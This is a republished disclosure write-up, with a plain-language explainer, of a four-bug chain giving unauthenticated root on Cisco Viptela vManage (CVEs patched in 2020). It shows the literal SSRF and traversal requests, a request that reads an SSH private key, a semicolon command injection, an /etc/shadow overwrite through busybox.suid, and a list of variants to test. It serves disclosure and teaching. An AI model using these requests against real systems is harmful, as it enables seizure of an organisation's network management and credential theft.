SD-PWN — Part 3 — Cisco vManage — Another Day, Another Network Takeover
Cisco vManage contained four vulnerabilities that could be chained to achieve unauthenticated remote code execution as root. An attacker could read a private SSH key, log in, inject commands, and escalate privileges to take over the network management system.
Published on medium.com
Part 1 — Silver Peak Unity Orchestrator
The full write-up lives on its author's site
It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.
This is the third post in a series of four. Parts 1 and 2 covered Silver Peak Unity Orchestrator and Citrix SD-WAN Center. Across the series we found critical unauthenticated RCE vulnerabilities in four of the leading products in the SD-WAN market. This time the target is Cisco Viptela vManage.
Context
Cisco Viptela vManage is the brain of Cisco's SD-WAN infrastructure, managing all the different endpoints in the network. Because of the centralised nature of the SD-WAN design, vManage is a single point of failure from a security perspective.
By chaining four different vulnerabilities, we were able to gain an unauthenticated RCE as root on the vManage machine, often hosted in the company's cloud environment. An attacker doesn't need any prior knowledge of the configuration to exploit these flaws.
The initial attack vector is the web management server, running on port 443 on the vManage machine. The webserver runs Java applets using the JBoss framework. The unauthenticated attack surface of the web management interface is listed in the web.xml file, which clearly defines all URL paths that are reachable.
Setup
The report does not describe a lab build, accounts or tooling beyond the requests themselves. The requests below are shown against a vManage host at [redacted], with the web management interface on port 443 and a second service on port 8443. The server runs as the vmanage user, and the SSH key discussed later is readable with the permissions of the manage user. The newest firmware at the time of publication had patches for all the issues listed.
Finding it
While looking at possible entry points, we noticed the /dataservice entry point. We're unsure of the exact intention of the code, but our assumption is that the different endpoints share data and statistics using the dataservice URLs. Two handlers under it turned out to be interesting: one that downloads statistics between machines, and one that serves files for disaster recovery.
Exploitation
Step 1: SSRF and arbitrary file write in the statistics download handler (CVE-2020-27128)
The /dataservice/statistics/download/dr/filelist handler is responsible for downloading statistics between two machines in the system. It receives the adjacent machine's IP address and the statistics file name and downloads it for later use.
No user input validation was done at all, which allowed for multiple bugs. First, any IP can be passed to the handler in the sourcevManageIp parameter, allowing for an SSRF attack. Second, directory traversal in the token and fileType parameters allows the attacker to download the above data to any destination path and can even overwrite existing files. The server runs as the vmanage user, which allows a couple of interesting files to be overwritten. The handler also wasn't protected with any CSRF mechanism.
POST /dataservice/statistics/download/dr/filelist HTTP/1.1Host: [redacted]:8443Content-Length: 210Origin: https://[redacted]:8443Content-Type: application/json{“queue”:0, “fileType”:”/../../../../../../../tmp/”, “deviceIp”:””, “sourcevManageIp”:”[redacted]:12345", “fileList” : [{“file” : “droppeb.bin”, “token”:”../../../../../../../../../../../”}]}
This causes the server to GET the following path:
https://[redacted]:12345/dataservice/statistics/download/remoteprocessing/file/../../../../../../../dropped.bin
and to write the file contents to /opt/data/app-server/statistics/queue-0//../../../../../../../tmp/dropped.bin.
Although this is a critical bug that might be leveraged to an RCE, it wasn't part of the final chain.
Step 2: Unauthenticated file read and directory traversal (CVE-2020-26073)
Next to the handler above, we noticed another interesting handler, /dataservice/disasterrecovery/download/token/. It receives a single parameter: a file to read. Again, no user input validation is performed, allowing for an easily exploitable directory traversal. An attacker is able to read any file which is accessible with the vManage user.
GET /dataservice/disasterrecovery/download/token/%2E%2E%2F%2E%2E%2F%2E%2E%2F%2Fetc%2Fviptela%2F.ssh%2Fid_dsa HTTP/1.1Host: [redacted]:443
This reads the contents of /etc/viptela/.ssh/id_dsa.
Step 3: Using the SSH key
/etc/viptela/.ssh/id_dsa is a secret private key for SSH connections, readable with the permissions of the manage user. It allows the attacker to connect via SSH as vmanage-admin.
vmanage-admin's login binary is viptela_cli, just like admin's, although vmanage-admin doesn't gain access to the regular CLI console. This is decided in viptela_cli's main function, which verifies the username. Otherwise, the user can send a single command through the SSH connection, which is the attack surface used next.
Step 4: Command injection in viptela_cli (CVE-2020-27129)
After logging in with the above SSH key, viptela_cli parses the user-supplied commands. Any commands that are sent through the SSH connection are validated before being executed. Only commands starting with scp -f are allowed normally. Unfortunately, no sanitisation is performed on the rest of the command, allowing an attacker to inject another command using a semicolon.
scp -f -h; touch /tmp/exploit;
The command above will be run as the vmanage-admin user.
Step 5: Privilege escalation with busybox.suid (CVE-2020-26074)
While looking at different options to elevate privileges in the system, we noticed a special suid file, busybox.suid. The SUID bit in the filesystem will elevate the privileges of the binary to root every time it is executed. busybox.suid allows running multiple busybox applets as root.
An interesting applet is tftp, which allows uploads and downloads to the system using the tftp protocol. No validation is made for the destination path, enabling a malicious user to overwrite any file with any given data as root. This enables full control of the system. One basic example is overwriting the /etc/shadow file with a new root password, and then simply running su to gain root access.
The full chain
- Read
vmanage-admin's private SSH key using the directory traversal vulnerability. - Log in via SSH and inject a command that will run the privilege escalation.
- Overwrite
/etc/shadowusing thebusybox.suidtftp applet. - Run the
sucommand to gain root command execution.
This is only one way to exploit these vulnerabilities. Other, possibly easier, chains can be found.
Root cause
The handlers took user input without validation. The statistics download handler took the source address and the destination path components straight from the request, which produced both the SSRF and the arbitrary write. The disaster recovery download handler took a file path straight from the request, which produced the traversal and the unauthenticated read of the SSH private key. In viptela_cli, the allow-list check covered only the start of the command (scp -f) and the remainder was passed through unsanitised, so a semicolon was enough to append a second command. Finally, busybox.suid was shipped with the SUID bit and exposes applets such as tftp, which does not validate the destination path, so code execution as vmanage-admin could be turned into root.
Impact
An attacker who can reach the web management interface can chain these flaws into unauthenticated remote code execution as root on the vManage machine, without any prior knowledge of the configuration. Because vManage is the central management point of the SD-WAN deployment and is often hosted in the company's cloud environment, the machine is a high-value target. The report notes that the SSRF and arbitrary file write bug alone is critical and might be leveraged to an RCE, but it was not part of the demonstrated chain.
Fix
Cisco PSIRT assigned CVE numbers and released fixed software on 2020-11-02, and advisories and CVEs were published on 2020-11-04. The newest firmware has patches for all the issues listed. If your organisation uses Cisco's Viptela SD-WAN solution, update your appliances urgently.
Variants to test
- A positive result is the contents of a file outside the intended directory, for example an SSH private key.
- A positive result is your injected command running as the restricted user.
Timeline
- 2020-07-31: Realmode Labs sent an initial report to Cisco PSIRT.
- 2020-07-31: Cisco PSIRT acknowledges the report, assigns manager.
- 2020-11-02: Cisco PSIRT assigns CVE numbers, releasing fixed software.
- 2020-11-04: Advisories and CVEs are published.
- 2020-11-23: This report is published.
Realmode Labs would like to thank Cisco and their PSIRT for their excellent communication in the process of reporting and fixing the flaws.
References
- Bug 1, SSRF and arbitrary file write, CVE-2020-27128: https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-vmanage-file-Y2JSRNRb
- Bug 2, unauthenticated file read and directory traversal, CVE-2020-26073: https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-vman-traversal-hQh24tmk
- Bug 3, command injection in viptela_cli, CVE-2020-27129: https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-vmanage-privilege-zPmMf73k
- Bug 4, privilege escalation using busybox.suid, CVE-2020-26074: https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-vmanage-escalation-Jhqs5Skf
What happened, in plain words
This is the third post in a series of four. Parts 1 and 2 covered Silver Peak Unity Orchestrator and Citrix SD-WAN Center. Across the series we found critical unauthenticated RCE vulnerabilities in four of the leading products in the SD-WAN market. This time the target is Cisco Viptela vManage.
Cisco Viptela vManage is the brain of Cisco's SD-WAN infrastructure. It manages all the different endpoints in the network. Because of the centralised nature of the SD-WAN design, vManage is a single point of failure from a security perspective.
By chaining four different vulnerabilities, we were able to gain an unauthenticated RCE as root on the vManage machine, which is often hosted in the company's cloud environment. An attacker doesn't need any prior knowledge of the configuration to exploit these flaws.
In everyday terms: think of vManage as the reception desk of a large building. Every visitor, every delivery and every key request passes through that desk. If someone can trick the receptionist without showing any badge, they can end up with the master key to every room. That is roughly what happened here, in four small steps.

Context
The initial attack vector is the web management server, running on port 443 on the vManage machine. A port is a numbered door on a computer: port 443 is the door browsers normally use for secure websites (HTTPS). The webserver runs Java applets using the JBoss framework. Java is a programming language; JBoss is a piece of software that runs Java web applications. An applet here simply means a small web application component.
The unauthenticated attack surface of the web management interface is listed in the web.xml file, which clearly defines all URL paths that are reachable. Two ideas to unpack:
- Attack surface means every part of a system that an outsider can reach and try to interact with. A house has a front door, windows and a letterbox; each is part of its attack surface.
- Unauthenticated means reachable without logging in. If a page answers you before you show a password, it is unauthenticated.
web.xmlis a configuration file used by Java web servers. It lists which URL paths exist and which of them are open to anonymous visitors. Reading it is like reading the building's floor plan before trying any doors.
Setup
The report does not describe a lab build, accounts or tooling beyond the requests themselves. The requests below are shown against a vManage host at [redacted], with the web management interface on port 443 and a second service on port 8443. The server runs as the vmanage user, and the SSH key discussed later is readable with the permissions of the manage user. The newest firmware at the time of publication had patches for all the issues listed.
A few words that will come back constantly:
- User account: a name the operating system uses to decide what a program is allowed to touch.
vmanageandmanageare two such accounts. - Permissions: the rules that say which account may read or change which file.
- Firmware: the software image installed on an appliance. Updating it is like replacing the locks on the building.
- SSH: a way to open a text terminal on a remote computer, protected by a key instead of a password. We will come back to it.
Finding it
While looking at possible entry points, we noticed the /dataservice entry point. We're unsure of the exact intention of the code, but our assumption is that the different endpoints share data and statistics using the dataservice URLs.
An endpoint (or handler) is a specific address inside a web application that does one job, like a service counter in a large office: one counter for passports, one for taxes. A URL path such as /dataservice/... is the address of that counter. An API is the general name for this arrangement: one program asking another program to do something over the network, instead of a human clicking buttons.
Two handlers under /dataservice turned out to be interesting: one that downloads statistics between machines, and one that serves files for disaster recovery. Statistics here means measurement data the system collects about the network. Disaster recovery means the files kept so a system can be restored after a failure.
Exploitation
Step 1: SSRF and arbitrary file write in the statistics download handler (CVE-2020-27128)
The /dataservice/statistics/download/dr/filelist handler is responsible for downloading statistics between two machines in the system. It receives the adjacent machine's IP address and the statistics file name and downloads it for later use.
An IP address is the numeric address of a machine on a network, the equivalent of a street address. SSRF stands for Server-Side Request Forgery: the server is tricked into making a request on the attacker's behalf, to an address the attacker chooses. The everyday comparison is a concierge who will fetch a parcel from any address you write on a slip, including addresses the guest was never supposed to reach.
No user input validation was done at all, which allowed for multiple bugs. Input validation means checking that what a user sends makes sense before acting on it, like a form that rejects a date of birth in the year 3000. Here nothing was checked.
First, any IP can be passed to the handler in the sourcevManageIp parameter, allowing for an SSRF attack. A parameter is a named field in a request, the equivalent of a box on a paper form: you write a value next to a label.
Second, directory traversal in the token and fileType parameters allows the attacker to download the above data to any destination path and can even overwrite existing files. Directory traversal (also called path traversal) means putting ../ sequences into a file path. On a computer, .. means "go up one folder". A path is like a route through folders: ../.. walks back up the tree. If a program glues your input onto a folder name without checking, ../ lets you escape that folder and land anywhere on the disk.
The server runs as the vmanage user, which allows a couple of interesting files to be overwritten. The handler also wasn't protected with any CSRF mechanism. CSRF stands for Cross-Site Request Forgery: a malicious website silently makes your browser send a request to another site where you are already logged in. A CSRF protection is a check, usually a secret value attached to the form, that proves the request really came from the site's own pages.
POST /dataservice/statistics/download/dr/filelist HTTP/1.1Host: [redacted]:8443Content-Length: 210Origin: https://[redacted]:8443Content-Type: application/json{“queue”:0, “fileType”:”/../../../../../../../tmp/”, “deviceIp”:””, “sourcevManageIp”:”[redacted]:12345", “fileList” : [{“file” : “droppeb.bin”, “token”:”../../../../../../../../../../../”}]}
Line by line, in plain words:
POST /dataservice/statistics/download/dr/filelist HTTP/1.1is the request itself.POSTmeans "I am sending data to the server", as opposed toGET, which means "give me a page". The path is the counter we are talking to.HTTP/1.1is the version of the web protocol.Host: [redacted]:8443says which machine and port we are addressing. Port 8443 is a second door on the same machine, commonly used for an alternative secure web service.Content-Length: 210tells the server how many bytes of body follow, so it knows when the message ends.Origin: https://[redacted]:8443is a header browsers add to say which site the request came from. A header is extra information attached to a request, like the label on a parcel.Content-Type: application/jsonsays the body is formatted as JSON, a simple text format for structured data: curly braces, names and values.- The body is the JSON object.
"queue":0picks a queue number."fileType":"/../../../../../../../tmp/"is the destination directory, and the../sequences climb out of the intended folder towards/tmp, a temporary folder on the machine."deviceIp":""is left empty."sourcevManageIp":"[redacted]:12345"is the address the server will fetch from, which is the SSRF:[redacted]is the address the attacker chooses."fileList"contains one entry:"file":"droppeb.bin"names the file, and"token":"../../../../../../../../../../../"supplies another traversal prefix.
This causes the server to GET the following path:
https://[redacted]:12345/dataservice/statistics/download/remoteprocessing/file/../../../../../../../dropped.bin
This is the request the server makes on the attacker's behalf. It connects to [redacted] on port 12345, asks for the statistics download path, and the ../ sequences in the path climb out of the intended folder to reach dropped.bin. The attacker controls that address, so the attacker controls what comes back.
and to write the file contents to /opt/data/app-server/statistics/queue-0//../../../../../../../tmp/dropped.bin.
This is the destination on the vManage machine. The server starts from its statistics queue folder, then the ../ sequences walk up and out, ending in /tmp/dropped.bin.
In the request, sourcevManageIp is the attacker-controlled address the server fetches from, which is the SSRF. The fileType value supplies the destination directory and the token value supplies the traversal prefix, so the write lands outside the intended statistics queue directory. Although this is a critical bug that might be leveraged to an RCE, it wasn't part of the final chain. RCE stands for Remote Code Execution: making the target machine run code of your choosing.
Step 2: Unauthenticated file read and directory traversal (CVE-2020-26073)
Next to the handler above, we noticed another interesting handler, /dataservice/disasterrecovery/download/token/. It receives a single parameter: a file to read. Again, no user input validation is performed, allowing for an easily exploitable directory traversal. An attacker is able to read any file which is accessible with the vManage user.
GET /dataservice/disasterrecovery/download/token/%2E%2E%2F%2E%2E%2F%2E%2E%2F%2Fetc%2Fviptela%2F.ssh%2Fid_dsa HTTP/1.1Host: [redacted]:443
Line by line:
GETmeans "give me the thing at this address". No body is sent.- The path after
token/is the file name, but written in percent-encoding. Web addresses cannot contain certain characters safely, so they are written as%followed by two hexadecimal digits.%2Eis a dot,%2Fis a slash. Decoded, the segment reads../../../etc/viptela/.ssh/id_dsa. Host: [redacted]:443is the vManage machine on the standard HTTPS port.
This reads the contents of /etc/viptela/.ssh/id_dsa. The traversal is supplied percent-encoded in the path segment after token/, so the handler resolves it relative to its download directory and ends up at the SSH key.
Step 3: Using the SSH key
/etc/viptela/.ssh/id_dsa is a secret private key for SSH connections, readable with the permissions of the manage user. It allows the attacker to connect via SSH as vmanage-admin.
A private key is the secret half of a key pair used instead of a password. The everyday comparison is a physical key: whoever holds it can open the lock, and you never hand it out. SSH servers can be configured to accept a key instead of a password, so stealing the key is equivalent to stealing the password.
vmanage-admin's login binary is viptela_cli, just like admin's, although vmanage-admin doesn't gain access to the regular CLI console. A binary is a program file. A CLI is a command-line interface: a text prompt where you type commands instead of clicking. This is decided in viptela_cli's main function, which verifies the username. Otherwise, the user can send a single command through the SSH connection, which is the attack surface used next.
In plain words: when vmanage-admin logs in, the system runs a special program instead of giving a normal shell. That program looks at the username and, for this account, only allows one command to be sent. That single-command allowance is the next door to try.
Step 4: Command injection in viptela_cli (CVE-2020-27129)
After logging in with the above SSH key, viptela_cli parses the user-supplied commands. Parsing means reading text and working out its structure, the way you read a sentence into words. Any commands that are sent through the SSH connection are validated before being executed. Only commands starting with scp -f are allowed normally. scp is a standard program for copying files over SSH; -f is one of its options.
Unfortunately, no sanitisation is performed on the rest of the command, allowing an attacker to inject another command using a semicolon. Sanitisation means cleaning or rejecting dangerous characters in input. Command injection means sneaking extra commands into a place where the system expects only one. The everyday comparison is a form that asks for a name and then passes it to a clerk who reads it aloud: if you write "Alice; open the safe", the clerk may read the second part as a separate instruction. In a shell, the semicolon ; is exactly that separator: it ends one command and starts another.
scp -f -h; touch /tmp/exploit;
Line by line:
scp -f -his the allowed prefix. The check sees a command starting withscp -fand lets it through.;ends that command and starts a new one.touch /tmp/exploitcreates an empty file calledexploitin/tmp. It creates an empty file, showing the injected command ran.- The final
;ends the injected command.
The command above will be run as the vmanage-admin user.
Step 5: Privilege escalation with busybox.suid (CVE-2020-26074)
While looking at different options to elevate privileges in the system, we noticed a special suid file, busybox.suid. Privilege escalation means moving from a limited account to a more powerful one, usually root. Root is the all-powerful account on a Linux system; it can do anything.
The SUID bit in the filesystem will elevate the privileges of the binary to root every time it is executed. SUID is a permission flag: a program marked SUID runs with the rights of its owner, not of the person who launched it. If the owner is root, anyone who runs the program gets root rights for the duration of that program. The everyday comparison is a staff-only lift that opens with any visitor's badge because the lift itself is registered as staff.
busybox.suid allows running multiple busybox applets as root. BusyBox is a single program that bundles many small Unix tools, called applets, such as ls, cat or tftp. An applet is one of those bundled tools.
An interesting applet is tftp, which allows uploads and downloads to the system using the tftp protocol. TFTP is a very simple file transfer protocol, with no login of its own. No validation is made for the destination path, enabling a malicious user to overwrite any file with any given data as root. This enables full control of the system. One basic example is overwriting the /etc/shadow file with a new root password, and then simply running su to gain root access.
/etc/shadow is the file where Linux stores password hashes for user accounts. A hash is a one-way fingerprint of a password: you can check a guess against it, but you cannot read the password back from it. If you can replace that file, you can set a new root password. su is the command that switches to another user, normally root, after asking for that user's password.
The full chain
- Read
vmanage-admin's private SSH key using the directory traversal vulnerability. - Log in via SSH and inject a command that will run the privilege escalation.
- Overwrite
/etc/shadowusing thebusybox.suidtftp applet. - Run the
sucommand to gain root command execution.
This is only one way to exploit these vulnerabilities. Other, possibly easier, chains can be found.
Why this order? Each step unlocks the next door. The traversal gives a key; the key gives a login; the login gives a single command; the single command reaches a program that runs as root; that program writes to a file that controls root's password; and the password gives root.
Root cause
The common thread is missing input validation on handlers that were reachable without authentication. The statistics download handler took the source address and the destination path components straight from the request, which produced both the SSRF and the arbitrary write. The disaster recovery download handler took a file path straight from the request, which produced the traversal and the unauthenticated read of the SSH private key. In viptela_cli, the allow-list check covered only the start of the command (scp -f) and the remainder was passed through unsanitised, so a semicolon was enough to append a second command. Finally, busybox.suid was shipped with the SUID bit and exposes applets such as tftp that write to arbitrary destination paths as root, so any code execution as vmanage-admin could be turned into root.
An allow-list is the opposite of a block-list: instead of listing what is forbidden, you list what is permitted and reject everything else. Here the allow-list was too short: it checked only the first few characters of the command.
Impact
An attacker who can reach the web management interface can chain these flaws into unauthenticated remote code execution as root on the vManage machine, without any prior knowledge of the configuration. Because vManage is the central management point of the SD-WAN deployment and is often hosted in the company's cloud environment, the machine is a high-value target. The report notes that the SSRF and arbitrary file write bug alone is critical and might be leveraged to an RCE, but it was not part of the demonstrated chain.
Fix
Cisco PSIRT assigned CVE numbers and released fixed software on 2020-11-02, and advisories and CVEs were published on 2020-11-04. The newest firmware has patches for all the issues listed. If your organisation uses Cisco's Viptela SD-WAN solution, update your appliances urgently.
A CVE is a public identifier for a specific vulnerability, so that everyone can refer to the same bug unambiguously. PSIRT is a vendor's product security incident response team, the group that receives and handles reports like this one. An advisory is the vendor's public notice describing the bug and the fix.
Variants to test
- Look for handlers listed as unauthenticated in
web.xmlthat take a file name or path parameter, and try percent-encoded traversal such as%2E%2E%2Fin the path segment. A positive result is the contents of a file outside the intended directory, for example an SSH private key. - Look for handlers that take a remote host or IP parameter and fetch from it. A positive result is the server making a request to an address you control, and a traversal in the destination parameters writing a file outside the intended queue directory.
- Look for restricted shells or login binaries that allow only a command prefix. Try appending a second command with a semicolon after an allowed prefix such as
scp -f. A positive result is your injected command running as the restricted user. - Look for SUID busybox binaries and check which applets they expose. A positive result is an applet such as
tftpwriting to an arbitrary destination path as root.
Timeline
- 2020-07-31: Realmode Labs sent an initial report to Cisco PSIRT.
- 2020-07-31: Cisco PSIRT acknowledges the report, assigns manager.
- 2020-11-02: Cisco PSIRT assigns CVE numbers, releasing fixed software.
- 2020-11-04: Advisories and CVEs are published.
- 2020-11-23: This report is published.
Realmode Labs would like to thank Cisco and their PSIRT for their excellent communication in the process of reporting and fixing the flaws.
References
- Bug 1, SSRF and arbitrary file write, CVE-2020-27128: https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-vmanage-file-Y2JSRNRb
- Bug 2, unauthenticated file read and directory traversal, CVE-2020-26073: https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-vman-traversal-hQh24tmk
- Bug 3, command injection in viptela_cli, CVE-2020-27129: https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-vmanage-privilege-zPmMf73k
- Bug 4, privilege escalation using busybox.suid, CVE-2020-26074: https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-vmanage-escalation-Jhqs5Skf
Glossary
- Advisory: a vendor's public notice describing a vulnerability and its fix.
- Allow-list: a list of what is permitted, with everything else rejected.
- API: a way for one program to ask another program to do something over a network.
- Applet: one of the small tools bundled inside BusyBox.
- Attack surface: every part of a system an outsider can reach and interact with.
- Binary: a program file that the computer executes.
- BusyBox: a single program bundling many small Unix tools.
- CLI: command-line interface, a text prompt where you type commands.
- Command injection: sneaking extra commands into input that the system expects to be a single command.
- CSRF: Cross-Site Request Forgery, a malicious site silently making your browser send a request to another site where you are logged in.
- CVE: a public identifier for a specific vulnerability.
- Directory traversal: using
../sequences in a file path to escape the intended folder. - Endpoint: a specific address inside a web application that performs one job.
- Handler: the code behind an endpoint that processes the request.
- Hash: a one-way fingerprint of a value such as a password.
- Header: extra information attached to a web request or response.
- HTTP: the protocol browsers and servers use to exchange web requests and responses.
- Input validation: checking that user input makes sense before acting on it.
- IP address: the numeric address of a machine on a network.
- JSON: a simple text format for structured data using braces, names and values.
- Parameter: a named field in a request, with a value next to a label.
- Parsing: reading text and working out its structure.
- Percent-encoding: writing characters in a URL as
%plus two hexadecimal digits, such as%2Efor a dot. - Permissions: rules saying which account may read or change which file.
- Port: a numbered door on a computer that a service listens on.
- Private key: the secret half of a key pair used instead of a password.
- Privilege escalation: moving from a limited account to a more powerful one, usually root.
- PSIRT: a vendor's product security incident response team.
- RCE: Remote Code Execution, making a target machine run code of your choosing.
- Root: the all-powerful account on a Linux system.
- Sanitisation: cleaning or rejecting dangerous characters in input.
- SD-WAN: a software-defined wide area network, a way of managing links between distant sites centrally.
- SSH: a way to open a text terminal on a remote computer, usually protected by a key.
- SSRF: Server-Side Request Forgery, tricking a server into making a request to an address the attacker chooses.
- SUID: a permission flag that makes a program run with the rights of its owner.
- TFTP: a very simple file transfer protocol with no login of its own.
- User account: a name the operating system uses to decide what a program may touch.
web.xml: a Java web server configuration file listing URL paths and which are reachable without login.